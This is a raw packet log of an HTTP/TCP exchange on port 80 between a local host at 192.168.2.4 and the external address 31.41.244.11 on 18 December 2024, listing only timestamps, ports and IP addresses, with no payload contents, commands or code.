Dec 18, 2024 17:08:24.050297976 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.050347090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.050482035 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.050533056 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.051333904 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.051383018 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.051453114 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.051498890 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.052364111 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.052428007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.052504063 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.052551985 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.053699970 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.053761005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.054188013 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.054244041 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.055119038 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.055156946 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.055211067 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.055259943 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.056180954 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.056227922 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.056279898 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.056324005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.057054996 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.057060003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.057110071 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.058018923 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.058065891 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.058096886 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.058233976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.059149981 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.059195995 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.059292078 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.059346914 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.060045958 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.060107946 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.060199976 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.060247898 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.061271906 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.061321974 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.061738968 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.061794996 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.062356949 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.062407970 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.062535048 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.062659979 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.063651085 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.063699961 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.063929081 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.064003944 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.064790964 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.064842939 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.064949036 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.065021038 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.065888882 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.065937042 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.066045046 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.066093922 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.067051888 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.067107916 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.067543030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.067646027 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.068018913 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.068065882 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.202394009 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.202466965 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.202517033 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.202572107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.202898979 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.202954054 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.203011036 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.203059912 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.204091072 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.204144001 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.204292059 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.204341888 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.205091953 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.205224991 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.205353975 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.205418110 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.206116915 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.206163883 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.206386089 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.206434965 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.207173109 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.207221985 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.207335949 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.207391977 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.208308935 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.208378077 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.208406925 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.208450079 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.209415913 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.209480047 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.209528923 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.209623098 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.210560083 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.210702896 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.211556911 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.211604118 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.211780071 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.211787939 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.211828947 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.212707043 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.212753057 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.213855982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.213932037 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.213937044 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.213943958 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.213982105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.214962959 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.215019941 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.215049028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.215152979 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.215945959 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.215984106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.216068983 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.216109991 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.217015028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.217063904 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.217350960 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.217401028 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.218151093 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.218214035 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.218539953 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.218583107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.219259024 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.219322920 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.219361067 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.219398975 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.220318079 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.220360994 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.220613003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.220654011 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.221415043 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.221467972 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.221666098 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.221738100 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.222528934 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.222598076 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.223526955 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.223573923 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.223670959 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.223678112 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.223722935 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.224750042 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.224795103 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.225231886 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.225281000 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.225879908 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.225929976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.226370096 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.226447105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.226957083 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.227005959 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.227173090 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.227252960 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.228028059 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.228034019 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.228080988 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.229057074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.229101896 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.229873896 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.229916096 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.230348110 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.230355024 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.230387926 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.231220961 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.231267929 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.231525898 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.231962919 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.232335091 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.232398033 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.232513905 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.233056068 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.233437061 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.233658075 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.233705044 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.234517097 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.234564066 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.234673977 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.234721899 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.235649109 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.235786915 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.235825062 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.235838890 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.236792088 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.236855030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.236895084 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.237807989 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.237863064 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.238168955 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.238780022 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.238930941 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.238940001 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.238984108 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.239994049 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.240048885 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.240746021 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.240839005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.241080999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.241126060 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.242192030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.242198944 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.242245913 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.242397070 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.242815018 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.243259907 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.243366957 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.244062901 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.244123936 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.244345903 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.244438887 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.245398998 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.245506048 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.245534897 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.245543003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.245584965 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.246594906 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.246670008 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.246751070 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.246829987 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.247638941 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.247708082 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.247946978 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.247993946 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.248745918 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.249108076 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.249164104 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.249813080 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.249910116 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.250278950 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.250340939 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.250953913 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.250960112 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.251014948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.252089977 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.252096891 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.252140999 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.253176928 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.253326893 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.253376007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.254457951 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.254506111 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.254708052 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.254774094 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.255331993 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.255377054 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.255548000 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.255637884 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.256418943 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.256555080 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.256601095 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.257533073 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.257570028 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.257678032 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.257719994 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.258618116 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.258832932 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.259031057 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.259079933 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.259634018 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.259895086 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.394552946 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.394629002 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.394776106 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.395030022 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.395065069 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.395078897 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.395330906 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.395378113 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.396264076 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.396327019 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.396457911 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.396539927 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.397281885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.397336960 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.397360086 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.397406101 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.398334980 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.398391008 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.398603916 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.398648024 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.399559021 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.399610043 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.399677992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.399723053 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.400419950 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.400469065 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.401088953 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.401158094 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.401599884 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.401609898 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.401649952 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.402633905 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.402687073 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.402916908 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.402966976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.403706074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.403803110 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.404194117 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.404239893 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.404803991 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.404860973 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.405375004 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.405421019 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.406035900 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.406243086 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.406276941 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.406326056 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.407227993 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.407325029 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.407361984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.407403946 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.408067942 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.408121109 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.408288002 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.408374071 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.409179926 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.409434080 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.409683943 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.409754992 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.410341978 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.410501003 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.410628080 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.410676956 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.411348104 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.411417961 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.411561012 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.411608934 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.412475109 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.412532091 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.412604094 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.412693977 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.413542032 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.413702965 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.414052010 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.414119959 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.414658070 CET	80	49771	31.41.244.11	192.168.2.4
